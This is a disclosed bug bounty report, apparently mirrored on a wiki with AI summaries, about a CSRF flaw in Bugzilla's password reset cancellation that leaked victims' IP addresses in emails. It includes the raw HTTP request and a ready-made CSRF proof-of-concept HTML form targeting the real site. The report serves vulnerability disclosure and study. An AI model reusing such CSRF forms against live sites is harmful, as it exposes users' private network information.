Information disclosure on password cancel endpoint
The password reset cancellation endpoint could be triggered cross-site, and the cancellation confirmation email sent to the account holder included the IP address of whoever submitted the request. An attacker could trick a victim into submitting a crafted form so that the attacker's own email received the victim's IP address.
Originally disclosed on HackerOne
- Triaged in 7 days
- Fixed in 33 days
- Paid in 12 days
- Disclosed after 34 days
Summary by the program
During the password reset cancellation process, an email containing the user's IP address was sent upon cancellation. This issue was exploited to get the IP address of a user by tricking them into submitting the password reset cancellation request.
This issue has been resolved by removing the IP address from the email sent to users when they cancel the password reset request.
The report
Summary:
HI team,
few month ago I found #2106662 CSRF to information disclosure vulnerability and team resolved so I was testing then I got same vulnerability in https://bugzilla.mozilla.org/. when someone try to get password reset token so then if they will cancel password reset to they will get email notification and email contain victim IP address. so attacker can easly victim IP from cancellation process.
It's low hanging security risk but it's significant for users. where attacker able to get victim IP, Address. This is disclosing users information. one click information disclosed.
Suppose attacker create account on https://bugzilla.mozilla.org/ Now attacker knows the victim created also account on https://bugzilla.mozilla.org/. Now attacker create CSRF Payload using his own email. bcoz attacker knows the how password reset functionality works ( which contain the IP address.) now attacker send the malicious link to victim.
REQUEST:-
POST /token.cgi HTTP/2
Host: bugzilla.mozilla.org
Cookie: _ga=GA1.2.943165794.1724831061; _ga_PWTK27XVWP=GS1.1.1724884053.2.0.1724884053.0.0.0; _ga_MQ7767QQQW=GS1.1.1726224133.2.0.1726224133.0.0.0; _ga_B9CY1C9VBC=GS1.1.1727174575.2.1.1727174593.0.0.0; _gid=GA1.2.1127107875.1727130511
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
Origin: http://burpsuite
Referer: http://burpsuite/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
cancel_token=1727251240-UxKc4U5ThgrHPhWNJ323-fahjy5Pn05h5ZYb7OqG-SI&t=3XOIDGIRtcwC3icniucOlm&a=cxlpw&cancel=Cancel
Convert to CSRF:-
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://bugzilla.mozilla.org/token.cgi" method="POST">
<input type="hidden" name="cancel_token" value="1727251240-UxKc4U5ThgrHPhWNJ323-fahjy5Pn05h5ZYb7OqG-SI" />
<input type="hidden" name="t" value="3XOIDGIRtcwC3icniucOlm" />
<input type="hidden" name="a" value="cxlpw" />
<input type="hidden" name="cancel" value="Cancel" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Steps To Reproduce:
- Create account https://bugzilla.mozilla.org/. and send password reset link on his own email.
- Attacker open password cancel link and create CSRF Html link.
- Send to victim and attacker got email Password change request canceled
- When attacker open email so attacker got victim IP Address.
See in this PoC Payload attacker will use own email. Bcoz when Victim click on that malicious link attacker will get victim Information on attacker email. ███
Impact
Summary:
Attacker can get Information of victim by sending a link to the Victim, which will contain the Victim's IP address.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the cancellation endpoint accepted cross-site form submissions without a CSRF token, and the resulting notification email disclosed the requester's IP address.
Impact
An attacker could learn a victim's IP address with one click, which the reporter describes as a low-hanging but significant privacy risk.
What the attacker needed
Victim has an account; victim clicks a crafted link; attacker uses their own email
The fix
The IP address was removed from the cancellation notification email, and the report states the issue has been resolved.
How it was found
- Create an account and request a password reset to your own email.
- Open the password reset cancellation link and build a cross-site form that submits the cancellation.
- Send the crafted page to the victim so they submit it.
- Read the cancellation email, which contains the victim's IP address.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you ask a site to reset your password, it emails you a link to cancel that request. The researcher found that this cancel action could be triggered by another website without the victim noticing, and the confirmation email included the IP address of the person who clicked. By making the victim click a link, the attacker received an email showing the victim's IP address.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.